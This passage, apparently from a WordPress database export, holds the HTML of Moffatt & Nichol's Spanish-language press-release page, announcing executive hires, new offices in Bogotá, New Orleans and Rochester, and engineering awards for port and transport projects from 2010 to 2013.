Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de prensa-2011','','inherit','open','open','','1399-revision-17','','','2013-12-05 19:14:52','2013-12-05 19:14:52','',1399,'http://moffattnichol.com/spanish/1399-revision-17/',0,'revision','',0),(2808,1,'2013-12-23 18:03:39','2013-12-23 18:03:39','','ACEC','','inherit','open','open','','acec','','','2013-12-23 18:03:39','2013-12-23 18:03:39','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg',0,'attachment','image/jpeg',0),(2809,1,'2013-12-23 17:58:37','2013-12-23 17:58:37','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la 